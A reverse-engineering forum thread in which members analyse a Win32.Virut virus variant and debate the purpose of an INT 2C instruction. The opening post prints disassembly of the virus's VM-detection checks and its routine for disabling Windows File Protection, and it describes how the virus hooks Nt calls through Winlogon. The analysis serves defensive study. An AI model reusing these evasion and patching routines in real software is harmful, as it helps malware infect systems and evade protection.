Results 1 to 12 of 12

Thread: IDC scripting a Win32.Virut variant - Part 2

  1. #1
    Teach, Not Flame Kayaker's Avatar
    Join Date
    Oct 2000
    Posts
    4,081
    Blog Entries
    5

    IDC scripting a Win32.Virut variant - Part 2

    This post continues Part 1, which should be read first for reference.

    Some points of interest about the viral code itself:
    • There is a small RDTSC timing check at the start. If the difference between 2 RDTSC calls is greater than 0x100 then it's determined that you're in a VM or single step tracing the code (or have only 4K of memory maybe!). In that case the virus doesn't infect but instead returns to the default address of 0x40101D and only tries to connect to the irc server.

      Doing a little test I found that 2 RDTSC calls would return a difference of between 1000-1500 ticks under VMWare, but only 50 ticks under a real system. Not a sophisticated VM test, but it seems to work.

    • There is also apparently a Redpill type VM check which I found crashes under VMWare.

      Code:
      :0040323A RedPill:      ; CODE XREF: Main+2
      :0040323A       push    eax
      :0040323B       sidt    qword ptr [esp-2]
      :00403240       pop     eax
      :00403241       mov     eax, [eax+6]    ; invalid pointer, crashes under VMWare
      :00403241                               ; buggy code?!
      :00403244       shl     eax, 10h
      :00403247       jns     short Force_RDTSC_test_to_fail
    • The virus is Win9x/Me compatible. If the OS is Win2K or greater it hooks NtCreateFile / NtOpenFile. If Win9x, it hooks VWIN32_Int21Dispatch and monitors for the MS-DOS LFN (long file name) service 0x716C, which is used for open/create. The Win9x related stuff is "old school" and has been documented before. If interested see:

      The VxDCall backdoor http://vx.netlux.org/lib/vgy06.html
      VIRUS ANALYSIS 2 http://peterszor.com/hps.pdf

    • The virus copies itself to the last section of a file it infects, but the initial seed value for the Xor decryption routine is different for every infected file (uses an RDTSC randomization), showing its polymorphic nature. After copying itself from running memory into the file, the main Decrypt function is called once again, but this time it's encrypting itself in the file, the XOR routine being reversible.

    • After determining the system offsets for the Nt calls it hooks, the virus creates a section, maps itself into it, then immediately continues execution from this high memory mapping address. All further execution is run from this memory mapped image. This makes it a little more difficult when live tracing and comparing addresses to the disassembly, but the jump to high memory makes a great breakpoint when you get deeper into the live analysis.

      .data:004035FE lea eax, dword_403606
      .data:00403604 jmp eax
      .data:00403606 ... ; this is now running from high mem

    • One interesting (though not original) thing the virus does is how it disables Windows File Protection (WFP) so it can infect any file in any directory without being subverted.

      Immediately after beginning execution in the high memory mapped section that I just mentioned, it calls NtAdjustPrivilegesToken with SeDebugPrivilege privilege so it is able to call CreateRemoteThread() in the Winlogon process.

      How to obtain a handle to any process with SeDebugPrivilege
      http://support.microsoft.com/kb/131065

      Using a CreateToolhelp32Snapshot/Process32Next loop, it scans for the 4th process returned, or Winlogon. Then it hooks the 4 Nt calls within the winlogon address context by overwriting the Service Id of the relevant Zw ntdll KiFastSystemCall with a detour to its own hook routine (which is mapped into winlogon memory space).

      Once this is done it calls CreateRemoteThread followed by a short Sleep routine to let the remote thread execute within winlogon context. After the Sleep nap, the CreateToolhelp32Snapshot loop continues and hooks the 4 Nt calls in every other active process.

      The aforementioned CreateRemoteThread winlogon thread does a number of things besides disabling WFP. It sets up the Win9x/Me VxDCall file hook if applicable, writes the irc sites IP address to the Windows hosts file, accesses the registry, creates some Events, creates a couple more threads, one of which maps out ntoskrnl and the KeServiceDescriptorTable, tries to connect to the internet, etc.


      WFP is disabled by patching in a call to ExitThread immediately after a NtWaitForMultipleObjects call in an sfc.os.dll function called SfcWatchProtectedDirectoriesWorkerThread. The function name pretty much describes what it does, it's a worker thread which continually monitors for file changes from a protected dll list. After patching SfcWatchProtectedDirectoriesWorkerThread the virus calls SfcTerminateWatcherThread. (IDA + symbols is a wonderful thing )

      Here is what the function looks like in code:

      Code:
      // The search pattern in sfc.os.dll
      
      :00403CE4          Pattern_SFC_OS_DLL:    ; DATA XREF: Disable_WFP+F
      :00403CE4 6A 01       push    1
      :00403CE6 6A 01       push    1
      :00403CE8 FF 33       push    dword ptr [ebx]
      :00403CEA FF 73 04    push    dword ptr [ebx+4]
      :00403CEA          ; -----------------------------------------------
                            // part of call ds:NtWaitForMultipleObjects
      :00403CED FF 15       dw 15FFh   
      
      
      
      :00403CEF Disable_WFP     proc near
      
      // EAX = base address of sfc.os.dll returned from GetModuleHandleA
      
      :00403CEF       test    eax, eax
      :00403CF1       jz      short locret_403CE3
      :00403CF3       push    0Bh
      :00403CF8       mov     edx, eax
      :00403CFA       pop     ebx
      :00403CFB       add     edx, [eax+IMAGE_DOS_HEADER.e_lfanew]
      :00403CFE       lea     esi, Pattern_SFC_OS_DLL
            
                              // SectionTable.PointerToRawData .text section
      :00403D04       mov     edi, [edx+10Ch]
                              // SectionTable.SizeOfRawData .text section
      :00403D0A       mov     ecx, [edx+108h]
             
      :00403D10       add     edi, eax
      :00403D12       sub     ecx, ebx
      :00403D14
      :00403D14 Find_Pattern:           ; CODE XREF: Disable_WFP+2E
      :00403D14       pusha
      :00403D15       mov     ecx, ebx
      :00403D17       repe cmpsb
      :00403D19       popa
      :00403D1A       jz      short loc_403D21
      :00403D1C       inc     edi
      :00403D1D       loop    Find_Pattern
      :00403D1F       jmp     short locret_403CE3
      :00403D21 ; ----------------------------------------------------
      :00403D21
      :00403D21 loc_403D21:             ; CODE XREF: Disable_WFP+2B
      :00403D21       add     edi, 0Fh
      :00403D24       push    edi
      :00403D25       mov     edx, esp
      :00403D27       push    ebx
      :00403D28       mov     ecx, esp
      :00403D2A       push    eax
      :00403D2B       push    esp             ; OldProtect
      :00403D2C       push    40h             ; Protect
      :00403D2E       push    ecx             ; RegionSize
      :00403D2F       push    edx             ; BaseAddress
      :00403D30       push    0FFFFFFFFh      ; hProcess
      :00403D32       call    NtProtectVirtualMemory
      :00403D38       add     esp, 0Ch
      :00403D3B       mov     edx, ExitThread
      :00403D41       sub     edx, edi
      :00403D43       sub     edx, 7
      
      // Patch in ExitThread call immediately after
      // NtWaitForMultipleObjects in sfc.os function
      // SfcWatchProtectedDirectoriesWorkerThread
      
      // patch in push eax opcodes (6A00) + Call near, relative opcode (E8)
      :00403D46       mov     dword ptr [edi], 0E8006Ah  
            
      // patch in ExitThread displacement
      :00403D4C       mov     [edi+3], edx
                
      :00403D4F       retn
      :00403D4F Disable_WFP     endp ;
      Once I figured out what the code was doing I was able to do a search and found that the entire routine for disabling WFP was ripped from here:

      Win2k.SFPDisable
      http://www.hackemate.com.ar/ezines/29a/29a-6/Articles/29A-6.001


    • And finally, and congratulations if you're still reading this, there is a mysterious Int 0x2C interrupt call at the start of the program. This call is the main reason this virus held my interest for so long and is ultimately the genesis of this article. I was hoping a full analysis of the program would point out its purpose. Alas, I'm still as clueless as when I started.


      Therefore I open up to speculation (or reason or knowledge), the true function of this Int2C call, if there is one, to you Gentle Reader (may Asimov forgive me).


      Here is the start of the code once again showing the important bits. I've tried to outline the "normal" path of infection by highlighting in Blue. Under any condition that I can see, Int2C will always return STATUS_NO_EVENT_PAIR, so that particular path of execution is fixed.

      The question is then. is this just quirky code to confuse us, or can an Int2C call have a real purpose in Ring3 under certain conditions?


      Code:
      :00403200 start           proc near 
      :00403200                 cld
      :00403201                 call    Main
      :00403201 start           endp
      :00403201
      
      :0040321F popebp_ret:
      :0040321F                 pop     ebp
      :00403220                 retn
      .
      :00403221 Force_RDTSC_test_to_fail:
      :00403221                 push    ebp
      :00403222                 mov     eax, 8000h
      :00403227                 xor     ecx, ecx
      :00403229                 jmp     short loc_403255
      
      
      :0040322E Main            proc near
      :0040322E                 test    eax, eax
      :00403230                 jnz     short RedPill
      :00403232                 INT     2Ch
      // returns STATUS_NO_EVENT_PAIR (0C000014Eh)
      :00403234                 test    eax, eax   
      :00403236                 jns     short Force_RDTSC_test_to_fail
      :00403238                 jmp     short RDTSC_Check
      
      :0040323A RedPill:
      :0040323A                 push    eax
      :0040323B                 sidt    fword ptr [esp-2]
      :00403240                 pop     eax
      :00403241                 mov     eax, [eax+6]
      :00403244                 shl     eax, 10h
      :00403247                 jns     short Force_RDTSC_test_to_fail
      :00403249
      :00403249 RDTSC_Check: 
      :00403249                 push    ebp
      :0040324A                 call    _RDTSC
      :0040324F                 xchg    eax, ecx
      :00403250                 call    _RDTSC
      :00403255
      :00403255 loc_403255:
      :00403255                 sub     eax, ecx
      :00403257                 mov     ebp, [esp+4]
      :0040325B                 sub     dword ptr [esp+4]
      :00403263                 sub     eax, 100h
      :00403268                 jnb     short popebp_ret
      :0040326A                 sub     ebp, 301006h
      :00403270                 lea     eax, startdecrypt
      :00403276                 mov     dx, [eax-65h]
      :0040327D                 call    Decrypt
      So what is interrupt Int 0x2C?

      Well, in Vista it's apparently used as part of the WDK NT_ASSERT macro implemented as DbgRaiseAssertionFailure(). This macro embeds an Int2C in driver code and raises an assert exception which is passed to the kernel debugger if present. For reference see the following article (or its google cache), or search for 'NT_ASSERT'.

      www.osronline.com/article.cfm?article=474


      The only other useful information I found for Int2C, and of a completely different nature, deals with client/server Local Procedure Call (LPC) communication using an EventPair (hence the source of the STATUS_NO_EVENT_PAIR return error). See the following 2 articles:

      http://www.windowsitlibrary.com/Content/356/08/6.html
      http://www.windowsitlibrary.com/Content/356/08/5.html


      It's easy enough to trace into an Int2C from user mode using Softice. You'll find that in XP it calls ntoskrnl!KiSetLowWaitHighThread. With IDA and symbols in hand, plus a prototype header file for the ETHREAD and KTRAP_FRAME structures you can define the entire short function.


      I'm not going to speculate on the Int2C any further at this point, but I leave this as an introduction. I'm fairly certain another member here will soon post another interesting twist to this Int2C saga

  2. #2
    As always, very interesting analysis Kayaker!

    Regards,
    JMI

  3. #3
    Raindog
    Guest
    Anyone have any ideas about the int2c other than obfuscation besides what was written here? http://zairon.wordpress.com/2007/12/19/beware-of-int-2c-instruction/
    I promise that I have read the FAQ and tried to use the Search to answer my question.

  4. #4
    Teach, Not Flame Kayaker's Avatar
    Join Date
    Oct 2000
    Posts
    4,081
    Blog Entries
    5
    It's possible that it's a kernel debugger check for Vista, though I'm only guessing at this point. If you look at the description of Int2C in Vista (KiRaiseAssertion) that omega_red posted here

    http://www.woodmann.com/forum/showthread.php?t=11078

    we see that the default exception code is STATUS_ASSERTION_FAILURE (0xC0000420).

    The whole point of the interrupt in Vista is to allow a kernel debugger to intercede (though it's meant to be called from ring0 not ring3 as this virus is doing).

    So, the possible return values from Int2C that the virus checks for will be:

    STATUS_ASSERTION_FAILURE = 0xC0000420
    TRUE = 1
    FALSE = 0

    The only pertinent return value for the virus code, if this is some sort of check, is if it returns FALSE, in which case the code will execute what I called the Force_RDTSC_test_to_fail function. That simply means that the instruction
    :00403263 sub eax, 100h
    will always be positive (8000h - 100h) and the virus won't run its Decrypt payload.
    (sub eax, 100h would normally be negative if outside a VM because the RDTSC ticks result in eax would be ~50h)


    I don't have Vista so I can't test the Int2C in it, but there will undoubtedly be a kernel debugger check in the function similar to the one in XP. Either checking the ETHREAD.DebugActive field or possibly the KdDebuggerEnabled or KdDebuggerNotPresent export directly.

    In the Int2C / KiSetLowWaitHighThread version in XP it looks like this:

    test byte ptr [ETHREAD.DebugActive], 0FFh
    jnz Dr_kslwh_a

    (Dr_kslwh_a seems to restore the debug registers as they were at the time of the interrupt from KPCRB.KPROCESSOR_STATE.CONTEXT).



    So anyway, back to Vista..

    The easiest way to test the assumption is to code an Int2C and trace it with Softice or WinDbg... with and without a kernel debugger (not Softice) attached.

    I tried to do this when I was testing the Int2C in XP but I was unable to get an enabled ETHREAD.DebugActive (even though I set up a VMWare/host WinDbg serial kernel debugging setup). Maybe you need a "real" remote kernel debugger setup to get that ETHREAD field filled, or maybe someone knows the trick?


    It's possible (again just a guess) that a return value of FALSE = 0 might be triggered in Vista when calling Int2C from usermode when - there is a kernel debugger detected but the exception wasn't handled (if it was handled it should return TRUE). (One could just force the check manually in Softice and interpret what the return values would be).


    For an explanation of possible return values from KiDispatchException with and without a debugger see this article.

    Kernel and remote debuggers
    http://www.vsj.co.uk/articles/display.asp?id=265


    I wouldn't want to speculate any further, but it would be great if someone could test all this on Vista.

    Who knows, maybe the virus writer was just goofy and thought he was doing something clever. Or, maybe he was clever..

    Kayaker

  5. #5
    Super Moderator
    Join Date
    Dec 2004
    Posts
    1,487
    Blog Entries
    15
    The whole point of the interrupt in Vista is to allow a kernel debugger to intercede (though it's meant to be called from ring0 not ring3 as this virus is doing).
    not arguing for vista but int 2c is callable from ring 3 legally using compiler intrinsics in cl

    __int2c Generates the int 2c instruction, which triggers the 2c interrupt.

    check out this link for a set of intrinsics that are legally usable
    http://www.codeproject.com/KB/vista/vista_x64.aspx

    edit i embed the contents here for easy refererance

    Code:
    Enough of this trivia. Here's a list of the intrinsics for x64 taken from the MSDN (many of them are supported on x86 as well):
    
    _AddressOfReturnAddress Provides the address of the memory location that holds the return address of the current function. This address may not be used to access other memory locations (for example, the function's arguments). 
    __addgsbyte, __addgsword, __addgsdword, __addgsqword Add a value to a memory location specified by an offset relative to the beginning of the GS segment. 
    __assume Passes a hint to the optimizer.  
    _BitScanForward, _BitScanForward64 Search the mask data from least significant bit (LSB) to the most significant bit (MSB) for a set bit (1). 
    _BitScanReverse, _BitScanReverse64 Search the mask data from most significant bit (MSB) to least significant bit (LSB) for a set bit (1). 
    _bittest, _bittest64  Generates the bt instruction, which examines the bit in position b of address a, and returns the value of that bit. 
    _bittestandcomplement, _bittestandcomplement64  Generate the btc instruction, which examines bit b of the address a, returns its current value, and sets the bit to its complement. 
    _bittestandreset, _bittestandreset64  Generate the btr instruction, which examines bit b of the address a, returns its current value, and resets the bit to 0. 
    _bittestandset, _bittestandset64 Generate the bts instruction, which examines bit b of the address a, returns its current value, and sets the bit to 1. 
    __debugbreak Causes a breakpoint in your code, where the user will be prompted to run the debugger. 
    _disable  Disables interrupts. 
    __emul, __emulu Performs multiplications that overflow what a 32-bit integer can hold. 
    _enable Enables interrupts. 
    __faststorefence Guarantees that every preceding store is globally visible before any subsequent store. 
    __getcallerseflags Returns the EFLAGS value from the caller's context. 
    __inbyte Generates the in instruction, returning one byte read from the port specified by Port. 
    __inbytestring Reads data from the specified port using the rep insb instruction. 
    __incgsbyte, __incgsword, __incgsdword, __incgsqword Add one to the value at a memory location specified by an offset relative to the beginning of the GS segment. 
    __indword Reads one double word of data from the specified port using the in instruction. 
    __indwordstring Reads data from the specified port using the rep insd instruction. 
    __int2c Generates the int 2c instruction, which triggers the 2c interrupt. 
    _InterlockedAnd, _InterlockedAnd64 Used to perform an atomic AND operation on a variable shared by multiple threads. 
    _interlockedbittestandreset, _interlockedbittestandreset64 Generate the lock_btr instruction, which examines bit b of the address a and returns its current value. 
    _interlockedbittestandset, _interlockedbittestandset64  Generate the lock_bts instruction, which examines bit b of the address a and returns its current value. 
    _InterlockedCompareExchange, _InterlockedCompareExchange64, _InterlockedCompare64Exchange128, _InterlockedCompare64Exchange128_acq, _InterlockedCompare64Exchange128_rel  Provides compiler intrinsic support for the Win32 Platform SDK InterlockedCompareExchange function. 
    _InterlockedCompareExchangePointer Perform an atomic exchange operation, which copies the address passed in as the second argument to the first and returns the original address of the first. 
    _InterlockedDecrement, _InterlockedDecrement64 Provides compiler intrinsic support for the Win32 Platform SDK InterlockedDecrement function. 
    _InterlockedExchange, _InterlockedExchange64 Provide compiler intrinsic support for the Win32 Platform SDK InterlockedExchange function. 
    _InterlockedExchangeAdd, _InterlockedExchangeAdd64 Provide compiler intrinsic support for the Win32 Platform SDK _InterlockedExchangeAdd Intrinsic Functions function. 
    _InterlockedExchangePointer Perform an atomic exchange operation, which copies the address passed in as the second argument to the first and returns the original address of the first. 
    _InterlockedIncrement, _InterlockedIncrement64 Provide compiler intrinsic support for the Win32 Platform SDK InterlockedIncrement function. 
    _InterlockedOr, _InterlockedOr64 Perform an atomic operation (in this case, the OR operation) on a variable shared by multiple threads. 
    _InterlockedXor, _InterlockedXor64 Used to perform an atomic operation (in this case, the exclusive or XOR operation) on a variable shared by multiple threads. 
    __invlpg  Generates the x86 invlpg instruction, which invalidates the translation lookaside buffer (TLB) for the page associated with memory pointed to by Address. 
    __inword Reads data from the specified port using the in instruction. 
    __inwordstring Reads data from the specified port using the rep insw instruction. 
    __ll_lshift  Shifts a 64-bit value specified by the first parameter to the left by a number of bits specified by the second parameter. 
    __ll_rshift  Shifts a 64-bit value specified by the first parameter to the right by a number of bits specified by the second parameter. 
    __load128, __load128_acq  Loads a 128-bit value atomically. 
    _mm_cvtsd_si64x Generates the x64 extended form of the Convert Scalar Double-Precision Floating-Point Value to 64-Bit Integer (cvtsd2si) instruction, which takes the double in the first element of value and converts it to a 64-bit integer. 
    _mm_cvtsi128_si64x  Generates the x64 extended form of the movd instruction, which extracts the low 64-bit integer from an __m128i structure. 
    _mm_cvtsi64x_sd  Generates the Convert Double Word Integer to Scalar Double-Precision Floating-Point Value (cvtsi2sd) instruction. 
    _mm_cvtsi64x_si128  Generates the x64 extended form of the movd instruction, which copies a 64-bit value to a __m128i structure, which represents an XMM register. 
    _mm_cvtsi64x_ss  Generates the x64 extended version of the Convert 64-Bit Integer to Scalar Single-Precision Floating-Point Value (cvtsi2ss) instruction. 
    _mm_cvtss_si64x Generates the x64 extended version of the Convert Scalar Single Precision Floating Point Number to 64-bit Integer (cvtss2si) instruction. 
    _mm_cvttsd_si64x Generates the x64 extended version of the Convert with Truncation Scalar Double-Precision Floating-Point Value to 64-Bit Integer (cvttsd2si) instruction, which takes the first double in the input structure of packed doubles, converts it to a 64-bit integer, and returns the result.  
    _mm_cvttss_si64x Emits the x64 extended version of the Convert with Truncation Single-Precision Floating-Point Number to 64-Bit Integer (cvttss2si) instruction. 
    _mm_set_epi64x Returns the __m128i structure with its two 64-bit integer values initialized to the values of the two 64-bit integers passed in. 
    _mm_set1_epi64x Provides a way to initialize the two 64-bit elements of the __m128i structure with two identical integers. 
    _mm_setl_epi64  Returns the lower 64 bits of source argument in the lower 64 bits of the result. 
    _mm_stream_si64x Writes the data in Source to a memory location specified by Dest, without polluting the caches. 
    __movsb  Generates a Move String (rep movsb) instruction. 
    __movsd  Generates a Move String (rep movsd) instruction. 
    __movsq Generates a repeated Move String (rep movsq) instruction. 
    __movsw Generates a Move String (rep movsw) instruction. 
    __mul128 Multiplies two 64-bit integers passed in as the first two arguments and puts the high 64 bits of the product in the 64-bit integer pointed to by HighProduct and returns the low 64 bits of the product. 
    __mulh  Returns the high 64 bits of the product of two 64-bit signed integers. 
    __outbyte Generates the out instruction, which sends 1 byte specified by Data out the I/O port specified by Port. 
    __outbytestring Generates the rep outsb instruction,which sends the first Count bytes of data pointed to by Buffer to the port specified by Port. 
    __outdword Generates the out instruction to send a doubleword Data out the port Port. 
    __outdwordstring Generates the rep outsd instruction, which sends Count doublewords starting at Buffer out the I/O port specified by Port. 
    __rdtsc Generates the rdtsc instruction, which returns the processor time stamp. The processor time stamp records the number of clock cycles since the last reset. 
    _ReadBarrier Forces memory reads to complete. 
    __readcr0, __readcr2, __readcr3, __readcr4, __readcr8  Read the control registers. These intrinsics are only available in kernel mode. 
    __readfsbyte, __readfsdword, __readfsqword, __readfsword Read memory from a location specified by an offset relative to the beginning of the FS segment. These intrinsics are only available in kernel mode. 
    __readgsbyte, __readgsdword, __readgsqword, __readgsword  Read memory from a location specified by an offset relative to the beginning of the GS segment. These intrinsics are only available in kernel mode. 
    __readmsr Generates the rdmsr instruction, which reads the model-specific register specified by register and returns its value. This function may only be used in kernel mode. 
    __readpmc Generates the rdpmc instruction, which reads the performance monitoring counter specified by counter. 
    _ReadWriteBarrier Effectively blocks an optimization of reads and writes to global memory. 
    _ReturnAddress The _ReturnAddress intrinsic provides the address of the instruction in the calling function that will be executed after control returns to the caller. 
    __shiftleft128 Shifts a 128-bit quantity, represented as two 64-bit quantities LowPart and HighPart, to the left by a number of bits specified by Shift and returns the high 64 bits of the result. 
    __shiftright128 Shifts a 128-bit quantity, represented as two 64-bit quantities LowPart and HighPart, to the right by a number of bits specified by Shift and returns the low 64 bits of the result. 
    __store128, __store128_rel Stores a 128-bit value atomically. 
    __stosb  Generates a store string instruction (rep stosb). 
    __stosd Generates a store string instruction (rep stosd). 
    __stosq Generates a store string instruction (rep stosq). 
    __stosw Generates a store string instruction (rep stosw). 
    __ull_rshift on x64, shifts a 64-bit value specified by the first parameter to the right by a number of bits specified by the second parameter. 
    _umul128 Multiplies two 64-bit unsigned integers passed in as the first two arguments and puts the high 64 bits of the product in the 64-bit unsigned integer pointed to by HighProduct and returns the low 64 bits of the product. 
    __umulh  Return the high 64 bits of the product of two 64-bit unsigned integers. 
    __wbinvd Generates the Write Back and Invalidate Cache (wbinvd) instruction. 
    _WriteBarrier Forces memory writes to complete and be correct according to program logic at the point of the call. 
    __writecr0, __writecr3, __writecr4, __writecr8 Write the control registers. These intrinsics are only available in kernel mode. 
    __writefsbyte, __writefsdword, __writefsqword, __writefsword  Write memory to a location specified by an offset relative to the beginning of the FS segment. These intrinsics are only available in kernel mode. 
    __writegsbyte, __writegsdword, __writegsqword, __writegsword  Write memory to a location specified by an offset relative to the beginning of the GS segment. These intrinsics are only available in kernel mode. 
    __writemsr Generates the Write to Model Specific Register (wrmsr) instruction. This function may only be used in kernel mode. 
    
    There are also some 3D intrinsics (called 3DNow) which will be useful for game/3D coders. I left those intrinsics out of the list since they were too many and you'd need to include another header file to use them: "mm3dnow.h".
    
    If these intrinsics are not enough, you might need to use an external asm file. On the other hand, if you're really lazy and you just need something on the fly, there's a quick way to embed assembly code in your C/C++ files.

    also you can checkout the osronline article which talks about NT_ASSERT macro


    INT 2C
    DbgRaiseAssertionFailure is either implemented as a compiler intrinsic or an inline function. Let's check out the inline function shown below.

    FORCEINLINE
    VOID
    DbgRaiseAssertionFailure (
    void
    )

    {
    __asm int 0x2c
    }


    Ah yes, so it calls the old INT 2C handler... OK, so maybe I've never heard of using INT 2C for anything other than some perverted NT4 thing, but that's neither here nor there.
    If you dump the IDT on your Vista system, you'll notice that the handler for the 2C interrupt is KiRaiseAssertion. If you continue to dig further, you'll notice that the execution of this routine results in a STATUS_ASSERTION_FAILURE exception being raised (we'll leave that digging as an exercise to the reader).


    Let's see what we get in the debugger (below) by adding a call to this inline to the Nothing driver (shown in Figure 4):

    Assertion failure - code c0000420 (first chance)
    NOTHING!DriverEntry+0x1f:
    8d2e602f cd2c int 2Ch

    NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObj, PUNICODE_STRING RegistryPath)
    {
    NTSTATUS code;
    PNOTHING_DEVICE_EXT devExt;
    PDEVICE_OBJECT devObj;
    UNICODE_STRING devName, linkName;

    DbgPrint("\nOSR NT4 DO NOTHING Driver -- Compiled %s %s\n",
    __DATE__, __TIME__);

    DbgRaiseAssertionFailure();

    Figure 4 - Adding DbgRaiseAssertionFailure to Driver




    Nothing too shocking here. The inline function embedded an INT 2C in our code, which resulted in an assert exception being raised. However, hitting GO at this point reveals an interesting set of commands that were added to the debugger for handling the new assertions (see below).

    kd> g
    Continuing an assertion failure can result in the
    debuggee being terminated (bugchecking for kernel
    debuggees).
    If you want to ignore this assertion, use 'ahi'.
    If you want to force continuation, use 'gh' or 'gn'.


    So, one advantage to using DbgRaiseAssertionFailure over DbgBreakPoint (or __debugbreak) is that the debugger has built-in support for ignoring the asserts it generates. Anyone who has been stuck having to NOP out a bogus ASSERT knows what a rockin' feature this is.


    It turns out that there are several options available to the 'ah' command for dealing with individual asserts. There's even a new option to the 'sx' command for global assert handling. The WinDBG docs have all the details, so we won't bother duplicating that information here.

  6. #6
    Thanks blabberer:

    Also a very interesting addition to Kayaker's original subject matter.

    Regards.
    JMI

  7. #7
    Excellent work by Kayaker
    i had experienced this virus a few months back and i remember i was going absolutely mad with no solution with even antivirus developers. After a few months they were able to handle it. This virus is really really nasty and the worst i have seen.
    Infact i was just wishing that Zairon or somebody analyze it to death and was pleasantly surprised when i found this.

    GEEK
    Found in the OpenGL header file for Visual C++ 6: 'typedef GLint int '. AAAARRRRGGGHHHH!!! [Don't get it? You're not a C programmer.]

    A hacker does for love what others would not do for money.

    Being married to a programmer is like having a cat. You talk to it but you're never really sure if it hears you, much less comprehends what you say.

  8. #8
    Thank you so much Kayaker,
    this analysis explained the two things which I weren't sure about,
    one with patching the ExitThread in ofc, which olly didn't label what the calls were, only ofc.#2,
    the second one is the int2C, which the new variant (?) of the virus changed to int2E
    I don't know, but from your analysis, think that the same function is performed
    I have no idea if the virus I have is the new version, as strangely, it does not have the sidt instruction in it

  9. #9
    Teach, Not Flame Kayaker's Avatar
    Join Date
    Oct 2000
    Posts
    4,081
    Blog Entries
    5
    Hi. I'm glad it was useful. That's interesting about the Int2E being used. Do you have any code example of how it's being used? Maybe someone can glean out its purpose.

    In case you missed it, Zairon did some further analysis on the behaviour of Int2C.

    Beware of int 2c instruction
    http://www.woodmann.com/forum/showthread.php?t=11078

  10. #10
    Administrator dELTA's Avatar
    Join Date
    Oct 2000
    Location
    Ring -1
    Posts
    4,206
    Blog Entries
    5
    I just saw a mention of Int 2d used as an anti-debugging trick at another site, and since Int 2c and Int 2e are apparently being discussed/investigated here for the same purpose, I guess it's not completely out of the question that it could have something to do with the same mechanism?

    You will the explanation at the following link anyway, in the rather unusual form of a cartoon (you will find it mentioned/explained at about the center of the page, in its current form), made by one of the CTF teams at this year's DEFCON:

    http://hackerschool.org/DefconCTF/17/B300.html

    Also, could by any chance the following older thread discussing Int 2d be relevant in any way?

    http://www.woodmann.com/forum/showthread.php?t=9678
    "Give a man a quote from the FAQ, and he'll ignore it. Print the FAQ, shove it up his ass, kick him in the balls, DDoS his ass and kick/ban him, and the point usually gets through eventually."

  11. #11
    |< x != '+' BanMe's Avatar
    Join Date
    Oct 2008
    Location
    Farmington NH
    Posts
    510
    Blog Entries
    4
    int 0x2e .. is the sister to sysenter
    int 0x2e mechanism is still present in xp not sure about vista or rc7
    int 0x2d is also used as the debug service caller which aparently like push/pop ss as darawk described can be used to "run out of the debugger".

    I think they function in almost the same way..__fastcall..

    some links..
    http://www.codeguru.com/cpp/w-p/system/devicedriverdevelopment/article.php/c8223
    http://www.piotrbania.com/all/adv/sice-adv.txt
    http://www.openrce.org/reference_library/anti_reversing_view/34/INT%202D%20Debugger%20Detection/

    regards BanMe
    No hate for the lost children;
    more love for the paths we walk,
    'words' shatter the truth we seek.
    from the heart and mind of Me
    me, to you.. down and across

    No more words from me, to you...
    Hate and love shatter the heart and Mind of Me.
    For the Lost Children;For the paths we walk; the real truth we seek!

  12. #12
    Teach, Not Flame Kayaker's Avatar
    Join Date
    Oct 2000
    Posts
    4,081
    Blog Entries
    5
    Oh that is really cool - a cartoon tutorial. It's a good one too, both the art and the content. I wish they'd make more, I'd read more tuts

    Int2D is being used in conjunction with an SEH to trap a debugger. That wasn't the case with the Int2C in the above case, no SEH was involved.

    simonzack mentioned that a new variant might be using Int2E in a similar way to the Int2C, but he didn't post any code so we could compare its usage. The real purpose behind the Int2C in Virut is still a mystery, though several possibilities were discussed above.

    Thanks for the link d.

Similar Threads

  1. Virut Infection [Terrible]
    By GEEK in forum Off Topic
    Replies: 9
    Last Post: September 8th, 2009, 13:45
  2. Apple's variant of ptrace()
    By Hex Blog in forum Blogs Forum
    Replies: 0
    Last Post: February 7th, 2009, 16:50
  3. Downloader.Win32.Small or Win32/PolyCrypt Reversing
    By evilcry in forum Blogs Forum
    Replies: 0
    Last Post: May 16th, 2008, 09:12
  4. IDC scripting a Win32.Virut variant - Part 1
    By Kayaker in forum Blogs Forum
    Replies: 4
    Last Post: January 1st, 2008, 16:51
  5. Packed sdbot variant
    By stsam in forum Malware Analysis and Unpacking Forum
    Replies: 14
    Last Post: August 22nd, 2007, 17:31

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •